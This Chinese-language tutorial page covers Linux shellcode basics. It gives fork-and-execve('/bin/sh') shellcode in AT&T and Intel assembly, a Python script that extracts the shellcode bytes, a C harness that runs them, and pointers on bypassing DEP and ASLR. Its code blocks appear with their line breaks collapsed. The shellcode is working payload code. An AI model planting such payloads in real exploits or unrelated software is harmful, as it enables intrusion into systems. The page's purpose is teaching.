linux上exploit基础知识 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    linux上到shellcode编写和windows上略有不同,linux上的shellcode是通过系统调用来执行想要到功能的,

linux上exploit基础知识

    查看系统调用号

    cat /usr/src/linux-2.6.38.8/arch/x86/include/asm/unistd_32.h

    基本上小内核版本变化都不会改变系统调用号,所以可以放心大胆使用

   

#define __NR_restart_syscall      0#define __NR_exit          1#define __NR_fork          2#define __NR_read          3#define __NR_write          4#define __NR_open          5#define __NR_close          6#define __NR_waitpid          7#define __NR_creat          8#define __NR_link          9#define __NR_unlink         10#define __NR_execve         11.....

    linux上到shellcode即可以用intel到汇编编写,也可以用AT&T到汇编编写,当然编译后都一样(都是x86指令集),链接器一样,但是汇编器不一样

    Linux 汇编器:对比 GAS 和 NASM

    http://www.ibm.com/developerworks/cn/linux/l-gas-nasm.html

    http://bbs.chinaunix.net/thread-2093373-1-1.html

    ASM 和 GAS 之间最大的差异之一是语法。GAS 使用 AT&T 语法,这是一种相当老的语法,由 GAS 和一些老式汇编器使用;NASM 使用 Intel 语法,大多数汇编器都支持它,包括 TASM 和 MASM。

    所以编译时不能用nasm编译 AT&T 语法的文件,反之亦然。

    ======================================

    用at&t语法的

   

.global _start_start:        xor  %eax,%eax        or   $2,%eax        int  $0x80        test %eax,%eax        jnz  next        retnext:        xor  %eax,%eax        push %eax        #push $0x68736162 #/bin/bash        #push $0x2f2f2f2f        #push $0x6e69622f        push $0x68732f6e #/bin/sh        push $0x69622f2f        mov  %esp,%ebx #param2        push %eax        push %ebx            mov  %esp,%ecx #param2        mov  %eax,%edx #param3        or  $0xb,%eax    int  $0x80

    用GAS汇编器

    as -o hello.o hello.s

    要生成符号表

    as --gstabs -o hello.o hello.s

    链接器

    ld -o hello hello.o

    ld进行链接时加上 -s表示去掉符号

    加上-static 参数静态编译,在这里,静态链接大小体积不变,因为这段汇编代码没有引用任何其他库,呵呵。

    ======================================

    用intel语法的

   

global _start_start:        xor eax,eax        or eax,2;fork        int  0x80        test eax,eax        jnz  next        retnext:        ;child process        xor  eax,eax        push eax        ;push 0x68736162 ;/bin/bash        ;push 0x2f2f2f2f        ;push 0x6e69622f        push 0x68732f6e ;/bin/sh        push 0x69622f2f        mov  ebx,esp ;param1        push eax        push ebx            mov  ecx,esp ;param2        mov  edx,eax ;param3        or eax,0xb    int  0x80nasm汇编器nasm  -g -f elf hello.asm  -o hello.old -o hello hello.o

    上面的两种汇编语言到语法差距细节就不说了,几个要注意到,注释不同,常数也不同(at&t前面还要加$),总之at&t的语法很诡异,

电脑资料

linux上exploit基础知识》(https://www.unjs.com)。

    ======================================

    编译后,需要提取shellcode为二进制码

    用到的反汇编工具

    objdump --disassemble ./hello 简写 odjdump -d hello

    objdump到反汇编是要识别文件格式的,如果是纯二进制代码比如引导区,则无法反汇编

    错误如objdump: read_1_track.boot.o: File format not recognized

    ndisasm -b 32 -e 0x74 hello |head -n 15

    ndisasm的反汇编不需要识别文件格式,上面-e是反汇编起始偏移

    即可以看到反汇编的代码包括字节码,但是如果shellcode较长,手抄还是有点麻烦

    所以我写了个python小脚本生成

   

#!/usr/bin/env python# -*- coding: utf-8 -*# author: SAIimport osimport sysif len(sys.argv)!=2:    print '%s shellcode_elfbin' % sys.argv[0]    sys.exit(0)cmdline='objdump -d '+sys.argv[1]print cmdlinerl=os.popen(cmdline).readlines()shellcode=''for i in rl:    cl=i.split('\t')    if len(cl)==3:        sl=cl[1].split(' ')        for code in sl:            if code!='':                s='\\x'+code                shellcode+=sprint 'char shellcode[]="%s";' % shellcodeprint 'shellcode size:%d' % (len(shellcode)/4)if shellcode.find('00')!=-1:    print '0x00 is in shellcode'

    然后有时候我们直接从网上得到的shellcode需要测试,可以写个C程序测试

   

#include <stdio.h>#include <string.h>char shellcode[]="\x31\xc0\x83\xc8\x02\xcd\x80\x85\xc0\x75\x01\xc3\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\x83\xc8\x0b\xcd\x80";int main(){   (*(void(*)()) shellcode)();   printf("size:%d\n",sizeof(shellcode));   return 0;}

    编译

    g++ -g test.cpp -o test

    反汇编可以用gdb调试观察shellcode是什么(gdb到si单步指令)

    ======================================

    关于一些linux上漏洞利用的资料:

    早期的绕过linux上dep的文章可以参考warning3写到《绕过Linux不可执行堆栈保护的方法浅析》以及axis的《Bypass Exec-shield Under Redhat》

    主要思路就是return to libc(包括写got表),不过由于系统上库不同,所以可以return to libc中到库函数地址也不同,所以这种方法根本不适合真实到攻击,更别说现在还有aslr。

    绕过ASLR到文章可以参考

    《ASLR 绕过 2.6.17/20 Linux 在 Linux 上 No-executable 的堆栈空间绕过方法》

    不过是针对2.6.17之前,主要思路是linux-gate.so没有aslr,但是在2.6.20后已经被补掉。

    xfocus上那篇《突破ASLR保护和编译器栈保护》是利用环境变量到随机化地址可猜测来解决,实际攻击中能给程序传递环境变量?= =

    关于堆到可以参考《HEAP/BSS的溢出》

    http://blog.readnovel.com/article/htm/tid_666047.html

    主要还是利用堆的双向链表操作,实际攻击中意义不大。

    还有《缓冲区溢出攻击--检测,剖析与预防》这本书对linux的shellcode讲解很好(但是其他部分很一般,不值得买)

    除此之外,对shellcode到编写还可以参考

    《[科普]浅入浅出Liunx Shellcode》http://www.xfocus.net/articles/200805/980.html

最新文章